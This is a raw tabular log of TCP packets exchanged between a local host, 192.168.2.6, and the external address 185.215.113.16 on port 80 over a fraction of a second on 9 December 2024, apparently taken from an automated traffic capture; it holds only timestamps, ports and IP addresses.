Dec 9, 2024 18:20:52.131520987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.131537914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.131555080 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.131580114 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.132369041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.132416010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.132514000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.132531881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.132543087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.132563114 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.132581949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.133382082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.133395910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.133407116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.133419037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.133430958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.133443117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.133477926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.134203911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.134218931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.134228945 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.134257078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.134282112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.135276079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.135293007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.135303974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.135337114 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.135340929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.135999918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.136013031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.136029005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.136040926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.136049032 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.136068106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.136095047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.136727095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.136773109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.136790037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.136802912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.136828899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.136843920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.137561083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.137608051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.137612104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.137626886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.137649059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.137670040 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.138394117 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.138422012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.138438940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.138444901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.138453960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.138456106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.138482094 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.138494015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.139154911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.139178038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.139190912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.139202118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.139214993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.139231920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.140572071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.140585899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.140597105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.140609026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.140630007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.140670061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.160219908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.160233021 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.160243034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.160254002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.160280943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.160309076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.161114931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.161128044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.161169052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.161915064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.161930084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.161942005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.161962986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.161994934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.162683010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.162730932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.163542986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.163556099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.163567066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.163585901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.163592100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.163620949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.163640976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.164249897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.164263010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.164299011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.164310932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.164963961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.164977074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.165010929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.165745974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.165757895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.165767908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.165788889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.165791035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.165811062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.165836096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.166758060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.166769981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.166805029 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.167726994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.167756081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.167776108 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.167800903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.168509007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.168561935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.168572903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.168577909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.168591976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.168596983 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.168610096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.168632030 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.169442892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.169492006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.170528889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.170558929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.170574903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.170576096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.170595884 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.170614958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.171750069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.171762943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.171801090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.172446012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.172458887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.172476053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.172493935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.172507048 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.173314095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.173326969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.173336983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.173366070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.173391104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.174046993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.174061060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.174093008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.174110889 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.175041914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.175055981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.175072908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.175088882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.175100088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.175121069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.175718069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.175729990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.175741911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.175765038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.175791979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.176676989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.176692009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.176722050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.176738024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.177459002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.177505016 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.177536011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.177547932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.177589893 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.178369999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.178383112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.178395033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.178419113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.178437948 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.179435015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.179446936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.179457903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.179476023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.179486036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.179537058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.180394888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.180408001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.180419922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.180434942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.180461884 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.181482077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.181499958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.181507111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.181528091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.181555033 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.182465076 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.182477951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.182488918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.182502031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.182514906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.182523966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.182554960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.183379889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.183393955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.183404922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.183423996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.183448076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.184140921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.184156895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.184168100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.184192896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.184205055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.184945107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.184958935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.184969902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.184983015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.184997082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.185022116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.185878992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.185889959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.185900927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.185929060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.185941935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.186832905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.186880112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.186885118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.186898947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.186924934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.186938047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.187484980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.187496901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.187509060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.187521935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.187521935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.187542915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.187572002 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.188366890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.188380957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.188386917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.188414097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.188427925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.189248085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.189261913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.189271927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.189292908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.189306974 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.190120935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.190134048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.190144062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.190161943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.190174103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.190202951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.190912962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.190927029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.190937996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.190958023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.190979958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.191754103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.191766024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.191804886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.197813034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.197846889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.197858095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.197858095 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.197870970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.197885036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.197899103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.197915077 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.198704004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.198721886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.198734045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.198745966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.198765039 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.198781967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.199491024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.199547052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.199548960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.199563980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.199592113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.199614048 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.200316906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.200333118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.200345993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.200359106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.200368881 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.200388908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.200423956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.201108932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.201122999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.201138973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.201163054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.201190948 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.201741934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.201760054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.201771975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.201793909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.201806068 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.202414036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.202426910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.202438116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.202450037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.202461958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.202493906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.203299999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.203318119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.203330994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.203344107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.203381062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.203960896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.204010010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.204011917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.204031944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.204051971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.204077959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.204659939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.204673052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.204710007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.242129087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.242223024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.242461920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.242507935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.242541075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.242584944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.243426085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.243477106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.243513107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.243554115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.244357109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.244395018 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.245069027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.245112896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.245559931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.245604992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.245831966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.245877028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.246512890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.246553898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.246783972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.246822119 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.247729063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.247771025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.247879982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.247920036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.248861074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.248902082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.249192953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.249233961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.250549078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.250602007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.250680923 CET	80	49828	185.215.113.16	192.168.2.6
